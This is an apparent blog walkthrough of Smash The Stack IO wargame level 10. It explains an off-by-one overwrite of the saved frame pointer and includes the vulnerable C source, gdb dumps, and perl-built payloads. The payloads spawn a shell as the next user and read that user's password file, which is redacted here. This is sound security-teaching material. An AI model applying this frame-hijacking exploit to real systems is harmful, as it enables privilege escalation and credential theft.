Today we’re going to be taking a look at level 10 of the Smash The Stack wargame, IO. \u00a0As usual, the password at the end will be stripped out and replaced with Y’s. \u00a0To follow a long, go a head and ssh into level10 on io.smashthestack.org with the password obtained from finishing level 9.<\/p>\n
Once we’ve logged in, the first thing we want to do is check out our files for the level. \u00a0Getting a quick ls -la \/levels\/level10* shows us there are two files of interest, an executable and it’s C source file. \u00a0Let’s start our analysis by reading the source file:<\/p>\n
level10@io:~$ more \/levels\/level10.c
\n#include <stdio.h>
\n#include <stdlib.h>
\n#include <unistd.h><\/p>\n\/\/ Contributed by Torch<\/p>\n
int limit, c;
\nint getebp() { __asm__(“movl %ebp, %eax”); }<\/p>\nvoid f(char *s)
\n{
\nint *i;
\nchar buf[260];<\/p>\ni = (int *)getebp();
\nlimit = *i – (int)buf + 1;<\/p>\nfor (c = 0; c < limit && s[c] != ‘\\0’; c++)
\nbuf[c] = s[c];
\n}<\/p>\nint main(int argc, char **argv)
\n{
\nint cookie = 1000;
\nif (argc != 2) exit(1);
\nf(argv[1]);<\/p>\nif ( cookie == 0xdefaced ) {
\nsetresuid(geteuid(), geteuid(), geteuid());
\nexeclp(“\/bin\/sh”, “\/bin\/sh”, “-i”, NULL);
\n}
\nreturn 0;
\n}<\/p><\/blockquote>\nReading through, we can see the program takes one command line argument, and passes it to the “f” function. \u00a0It later checks to see if the integer variable “cookie” is equal to the hex value 0xdefaced, and if it is, a shell is spawned. \u00a0Simple enough so far, now let’s look at that “f” function.<\/p>\n
This function takes one character pointer, “s”, as an argument and\u00a0has two variables, an integer pointer called “i” and a character array of size 260 called “buf”. \u00a0It then assigns to “i” the value returned from the “getebp” function. \u00a0Following that, the global integer variable “limit” is set to the dereferenced value of “i” minus “buf” plus one. \u00a0Finally, there is a for-loop which copies bytes one at a time from “s” to “buf” until “limit” is reached, or “s” contains a null character, marking the end of a string. \u00a0While this for-loop uses “limit” to try and limit stack smashing from a buffer overwrite, it isn’t initialized in a fully safe manner.<\/p>\n
Given what we should know about memory layout, the difference between buf (which represents the low memory address of the stack) and ebp (which represents the high memory address of the stack), is the length of the stack frame. \u00a0Additionally, adding one makes “limit” one longer than the length of the stack frame. \u00a0This means that one byte past the end of the stack can be overwritten. \u00a0So, how can we use that to change the value of the “cookie” variable in main? \u00a0Well, let’s look at the beginning of f() in gdb:<\/p>\n
(gdb) disass f
\nDump of assembler code for function f:
\n0x0804841b <f+0>: push %ebp
\n0x0804841c <f+1>: mov %esp,%ebp
\n0x0804841e <f+3>: sub $0x128,%esp<\/p><\/blockquote>\nThe very first line we can see that ebp is pushed onto the stack. \u00a0This effectively saves it before the “f” function changes it and uses it for it’s own use. \u00a0When f() finishes running, it restores ebp to the value which was pushed onto the stack (the “leave” instruction in f does this). \u00a0Thus, in our program today, main’s ebp is the 4 bytes on the stack immediately preceding f()’s stack frame. \u00a0The term for this saved ebp is the Saved Frame Pointer (SFP). \u00a0So, now we know that the “f” function is written in a manner which allows the least significant byte of the SFP to be overwritten. \u00a0That’s great and all, but that doesn’t let us overwrite the “cookie” variable in main. So, how does it help us?<\/p>\n
Well as it turns out, main (or any other function) doesn’t know the exact address of any of it’s local variables. \u00a0Instead, it knows the offsets of variables from the frame’s base pointer. \u00a0This is so a program doesn’t have to hard-code memory addresses. \u00a0However, it intrinsically\u00a0makes programs vulnerable to frame hijacking. \u00a0If we can change the ebp of a frame to a memory location where we can control what is at which offsets, we can effectively make the program use different variables. \u00a0This is exactly what we will do here. Even though f() doesn’t overwrite all of the SFP, it does overwrite the last byte. \u00a0So, let’s look in memory and see what we can do with that value. \u00a0Let’s go a head and run the program through gdb, breaking in f() before leave, after the for-loop has run. \u00a0Let’s also run with an argument that’ll overflow the buffer, say 300 A’s:<\/p>\n
Breakpoint 6, 0x08048488 in f ()
\n(gdb) x\/400xb $esp
\n0xbfffda50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffda58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffda60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffda68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffda70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffda78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffda80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffda88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffda90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffda98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdaa0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdaa8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdab0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdab8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdac0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdac8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdad0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdad8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdae0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdae8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdaf0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdaf8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb00: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb08: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb10: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb18: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb20: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb28: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb30: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb38: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
\n0xbfffdb78: 0x41 0xdb 0xff 0xbf 0xc5 0x84 0x04 0x08 <– overwrite stops, 297 bytes overwritten max. Overwrites 1 byte of sfp
\n0xbfffdb80: 0x6b 0xdd 0xff 0xbf 0xe4 0x96 0x04 0x08
\n0xbfffdb88: 0xa8 0xdb 0xff 0xbf 0x59 0x85 0x04 0x08
\n0xbfffdb90: 0xc5 0x15 0x3a 0x00 0x80 0x23 0xc0 0x00
\n0xbfffdb98: 0x4b 0x85 0x04 0x08 0xe8 0x03 0x00 0x00 <– cookie ;c
\n0xbfffdba0: 0xf4 0x4f 0x4b 0x00 0x00 0x00 0x00 0x00
\n0xbfffdba8: 0x28 0xdc 0xff 0xbf 0xa6 0x8c 0x38 0x00
\n0xbfffdbb0: 0x02 0x00 0x00 0x00 0x54 0xdc 0xff 0xbf
\n0xbfffdbb8: 0x60 0xdc 0xff 0xbf 0xc8 0x28 0x68 0x00
\n0xbfffdbc0: 0x10 0xdc 0xff 0xbf 0x8e 0xff 0x77 0x01
\n0xbfffdbc8: 0xf4 0xff 0xc0 0x00 0x43 0x82 0x04 0x08
\n0xbfffdbd0: 0x01 0x00 0x00 0x00 0x10 0xdc 0xff 0xbf
\n0xbfffdbd8: 0x66 0x19 0xc0 0x00 0xb0 0x0a 0xc1 0x00<\/p><\/blockquote>\nLooking at the end of writing, we can see that SFP gets one byte overwritten. \u00a0Additionally, we can see that since it’s close in memory location, SFP’s address is almost the same as some of the addresses in buf (the list of 0x41’s). \u00a0So here’s an idea, since we control what’s in buf, let’s try and set SFP to point into buf somewhere. \u00a0Let’s try and figure out what offset cookie is at in main’s stack frame. \u00a0To do that, let’s look at the disassembly of main, speficially the following line:<\/p>\n
0x080484c5 <main+59>: \u00a0 cmpl \u00a0 $0xdefaced,-0xc(%ebp) –compare value defaced to cookie<\/p><\/blockquote>\n
The above line does what the added comment says, compares the hex value 0xdefaced to the value of cookie. \u00a0Thus we can see cookie is at offset -0xc, or decimal value 12 from ebp. Thus, we need to have the value 0xdefaced in memory 12 bytes “lower” than our fake ebp. \u00a0So now, let’s think about where we’ll place our value in memory in buf, and how we’ll overwrite the SFP to give a fake ebp and frame.<\/p>\n
If we overwrite SFP with the byte 0x44 (ascii “D”), the fake SFP will point to 0xbfffdb44. \u00a0Subtracting 12 from that, we see we need to store our value for cookie (0xdefaced) at 0xbfffdb44 – 0xc, which is 0xbfffdb38. \u00a0We also know we need to fill up 297 bytes. \u00a0So from the memory block above, the space between the start of buf and\u00a00xbfffdb38 is 232, then we need to write our four bytes of 0xdefaced. \u00a0Finally we need to fill the rest with “D”s. \u00a0So let’s run it through gdb, and check our memory during a break point just to make sure:<\/p>\n
(gdb) run `perl -e ‘print “D”x232,”\\xed\\xac\\xef\\x0d”,”D”x61’`
\nStarting program: \/levels\/level10 `perl -e ‘print “D”x232,”\\xed\\xac\\xef\\x0d”,”D”x61’`<\/p>\nBreakpoint 1, 0x08048488 in f ()
\n(gdb) x\/400xb $esp
\n0xbfffda50: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffda58: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffda60: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffda68: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffda70: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffda78: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffda80: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffda88: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffda90: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffda98: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdaa0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdaa8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdab0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdab8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdac0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdac8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdad0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdad8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdae0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdae8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdaf0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdaf8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb00: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb08: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb10: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb18: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb20: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb28: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb30: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb38: 0xed 0xac 0xef 0x0d 0x44 0x44 0x44 0x44
\n0xbfffdb40: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb48: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb50: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb58: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb60: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb68: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb70: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
\n0xbfffdb78: 0x44 0xdb 0xff 0xbf 0xc5 0x84 0x04 0x08
\n0xbfffdb80: 0x6b 0xdd 0xff 0xbf 0xe4 0x96 0x04 0x08
\n0xbfffdb88: 0xa8 0xdb 0xff 0xbf 0x59 0x85 0x04 0x08
\n0xbfffdb90: 0xc5 0xf5 0x13 0x00 0x80 0x23 0xf1 0x00
\n0xbfffdb98: 0x4b 0x85 0x04 0x08 0xe8 0x03 0x00 0x00
\n0xbfffdba0: 0xf4 0x2f 0x25 0x00 0x00 0x00 0x00 0x00
\n0xbfffdba8: 0x28 0xdc 0xff 0xbf 0xa6 0x6c 0x12 0x00
\n0xbfffdbb0: 0x02 0x00 0x00 0x00 0x54 0xdc 0xff 0xbf
\n0xbfffdbb8: 0x60 0xdc 0xff 0xbf 0xc8 0xa8 0xa2 0x00
\n0xbfffdbc0: 0x10 0xdc 0xff 0xbf 0x8e 0xff 0x77 0x01
\n0xbfffdbc8: 0xf4 0xff 0xf1 0x00 0x43 0x82 0x04 0x08
\n0xbfffdbd0: 0x01 0x00 0x00 0x00 0x10 0xdc 0xff 0xbf
\n0xbfffdbd8: 0x66 0x19 0xf1 0x00 0xb0 0x0a 0xf2 0x00
\n(gdb) step
\nSingle stepping until exit from function main,
\nwhich has no line number information.
\nExecuting new program: \/bin\/bash
\nsh-4.1$<\/p><\/blockquote>\nAlright! \u00a0There we have it in gdb. \u00a0However, outside of gdb, memory is allocated sightly differently and it’s extremely difficult to pinpoint a specific memory address such as 0xbfffdb38. \u00a0So how would we do this outside of gdb so we could actually get privilege escalation?<\/p>\n
Well, we don’t have to be as technically precise as we were with gdb. \u00a0If we fill buf with repetitions of 0xdefaced and overwrite the SFP to point somewhere in there, we just have to make sure the offset is correct so that SFP-12 points to the beginning of one of the repetitions of 0xdefaced. \u00a0So let’s try that:<\/p>\n
level10@io:~$ \/levels\/level10 `perl -e ‘print “\\xed\\xac\\xef\\x0d”x74,”D”‘`
\nsh-4.1$ whoami
\nlevel11
\nsh-4.1$ cat \/home\/level11\/.pass
\nYYYYYYYYYYYY<\/p><\/blockquote>\nTada! \u00a0There we have it. \u00a0We were able to hijack main’s ebp by overwriting the SFP in f(). \u00a0This effectively allowed us to trick main into thinking the value of it’s variables had changed, even though the original variable value at the original location hasn’t changed. \u00a0 \u00a0This level goes to show how buffer overflows can cause unwanted effects even without attacking the return address, and how important the base pointer is.<\/p>\n","protected":false},"excerpt":{"rendered":"
Today we’re going to be taking a look at level 10 of the Smash The Stack wargame, IO. \u00a0As usual, the password at the end will be stripped out and replaced with Y’s. \u00a0To follow a long, go a head … Continue reading